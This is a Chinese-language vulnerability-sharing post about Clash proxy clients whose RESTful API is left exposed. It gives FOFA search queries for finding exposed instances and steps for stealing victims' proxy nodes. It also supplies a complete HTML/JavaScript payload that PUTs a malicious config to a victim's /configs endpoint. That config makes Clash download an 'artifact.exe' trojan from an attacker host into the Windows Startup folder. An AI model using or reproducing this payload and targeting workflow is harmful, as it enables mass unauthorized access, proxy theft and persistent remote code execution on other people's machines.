[漏洞分享]Clash节点盗用与设备入侵
漏洞描述 Clash开发于Electron。Electron是GitHub开发的一个使用JavaScript、HTML和CSS构建桌面应用程序的开源框架。它通过使用Node.js和Chromium的渲染引擎完成跨平台的桌面GUI应用程序的开发,因此Electron拥有直接执行Node.js代码的能力,并且内置了Chromium内核,通过一个XSS漏洞就有可能导致远程代码执行的危害。 根据Clash官方文档的介绍(https://clash.gitbook.io/doc/restful-api),Clash存在一套RESTful API可以用于控制自身,能获取Clash中的一些信息,同时也能控制Clash内部的配置。 在公网中,有许多分配到公网ip的Clash设备暴露了自身的RESTful API端口,导致黑客能够直接使用clash dashboard知道其节点信息以及控制其代理端口,达到使用被害者设备代理翻墙的目的 同时,黑客也能利用以上拓补关系和较低版本Clash的历史漏洞(详见此issue:[Bug]: Remote Code Execution/远程代码执行 #3891),达到Getshell的目的 漏洞复现 在FOFA中使用下面语法对暴露的Clash API进行搜集 clash:https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaFwifSI%3D clash.meta:https://fofa.info/result?qbase64=IntcImhlbGxvXCI6XCJjbGFzaC5tZXRhXCJ9Ig%3D%3D openclash:https://fofa.info/result?qbase64=cG9ydD0iOTA5MCIgJiYgYm9keT0ie1wibWVzc2FnZVwiOlwiVW5hdXRob3JpemVkXCJ9Ig%3D%3D 随机挑选,在Clash dashboard中导入拥有如下返回的IP地址和端口 即可看到该设备的节点信息 在设置中查看HTTP代理端口或混合代理端口信息 使用SwitchyOmega插件进行代理 即可访问Google 另外,如果想Getshell可以利用下面这段js代码 <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <title>Hack it!</title> </head> <body> <div id="result"></div> <script> const data = { payload: "mixed-port: 7890\nallow-lan: false\nmode: rule\nlog-level: warning\nproxy-groups: \n - name: 系统被入侵\n type: select\n use:\n - provider1\nproxy-providers:\n provider1:\n type: http\n url: 'http://192.168.2.5/artifact.exe'\n interval: 36000\n path: ../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/\n healthcheck:\n enable: false\n interval: 600\n url: http://www.gstatic.com/generate_204" }; fetch('http://{yourip}:{yourport}/configs', { method: 'PUT', headers: { 'Content-type': 'application/json; charset=utf-8', //'Authorization': 'Bearer 123456' //clash鉴权头部 }, body: JSON.stringify(data), }) .then(response => { if (response.status === 204) { result.innerText = '入侵成功!'; } else { response.json() .then(jsonData => { result.innerText = '入侵失败!' + JSON.stringify(jsonData); }) } }) .catch(error => { result.innerText = '执行失败!' + error.message; }); </script> </body> </html> 这段payload的作用是自动下载192.168.2.5提供的artifact.exe木马到Startup开机自启目录,这个操作将在clash重启或者切换节点时候执行。具体情况修改ip和端口即可。 ...